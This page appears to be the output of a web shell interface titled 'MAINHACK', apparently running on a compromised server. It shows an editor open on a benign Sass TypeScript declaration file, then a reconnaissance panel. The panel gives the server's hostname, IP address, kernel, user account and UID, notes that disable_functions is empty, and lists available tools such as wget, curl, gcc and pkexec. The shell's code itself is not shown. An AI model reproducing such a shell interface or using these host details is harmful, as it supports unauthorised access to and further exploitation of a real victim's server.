[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: compile.d.ts
import {RawSourceMap} from 'source-map-js'; import {Options, StringOptions} from './options'; /** * The result of compiling Sass to CSS. Returned by [[compile]], * [[compileAsync]], [[compileString]], and [[compileStringAsync]]. * * @category Compile */ export interface CompileResult { /** * The generated CSS. * * Note that this *never* includes a `sourceMapUrl` comment—it's up to the * caller to determine where to save the source map and how to link to it from * the stylesheet. */ css: string; /** * The canonical URLs of all the stylesheets that were loaded during the * Sass compilation. The order of these URLs is not guaranteed. */ loadedUrls: URL[]; /** * The object representation of the source map that maps locations in the * generated CSS back to locations in the Sass source code. * * This typically uses absolute `file:` URLs to refer to Sass files, although * this can be controlled by having a custom [[Importer]] return * [[ImporterResult.sourceMapUrl]]. * * This is set if and only if [[Options.sourceMap]] is `true`. */ sourceMap?: RawSourceMap; } /** * Synchronously compiles the Sass file at `path` to CSS. If it succeeds it * returns a [[CompileResult]], and if it fails it throws an [[Exception]]. * * This only allows synchronous [[Importer]]s and [[CustomFunction]]s. * * @example * * ```js * const sass = require('sass'); * * const result = sass.compile("style.scss"); * console.log(result.css); * ``` * * @category Compile * @compatibility dart: "1.45.0", node: false */ export function compile(path: string, options?: Options<'sync'>): CompileResult; /** * Asynchronously compiles the Sass file at `path` to CSS. Returns a promise * that resolves with a [[CompileResult]] if it succeeds and rejects with an * [[Exception]] if it fails. * * This only allows synchronous or asynchronous [[Importer]]s and * [[CustomFunction]]s. * * **Heads up!** When using Dart Sass, **[[compile]] is almost twice as fast as * [[compileAsync]]**, due to the overhead of making the entire evaluation * process asynchronous. * * @example * * ```js * const sass = require('sass'); * * const result = await sass.compileAsync("style.scss"); * console.log(result.css); * ``` * * @category Compile * @compatibility dart: "1.45.0", node: false */ export function compileAsync( path: string, options?: Options<'async'> ): Promise<CompileResult>; /** * Synchronously compiles a stylesheet whose contents is `source` to CSS. If it * succeeds it returns a [[CompileResult]], and if it fails it throws an * [[Exception]]. * * This only allows synchronous [[Importer]]s and [[CustomFunction]]s. * * @example * * ```js * const sass = require('sass'); * * const result = sass.compileString(` * h1 { * font-size: 40px; * code { * font-face: Roboto Mono; * } * }`); * console.log(result.css); * ``` * * @category Compile * @compatibility dart: "1.45.0", node: false */ export function compileString( source: string, options?: StringOptions<'sync'> ): CompileResult; /** * Asynchronously compiles a stylesheet whose contents is `source` to CSS. * Returns a promise that resolves with a [[CompileResult]] if it succeeds and * rejects with an [[Exception]] if it fails. * * This only allows synchronous or asynchronous [[Importer]]s and * [[CustomFunction]]s. * * **Heads up!** When using Dart Sass, **[[compile]] is almost twice as fast as * [[compileAsync]]**, due to the overhead of making the entire evaluation * process asynchronous. * * @example * * ```js * const sass = require('sass'); * * const result = await sass.compileStringAsync(` * h1 { * font-size: 40px; * code { * font-face: Roboto Mono; * } * }`); * console.log(result.css); * ``` * * @category Compile * @compatibility dart: "1.45.0", node: false */ export function compileStringAsync( source: string, options?: StringOptions<'async'> ): Promise<CompileResult>;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002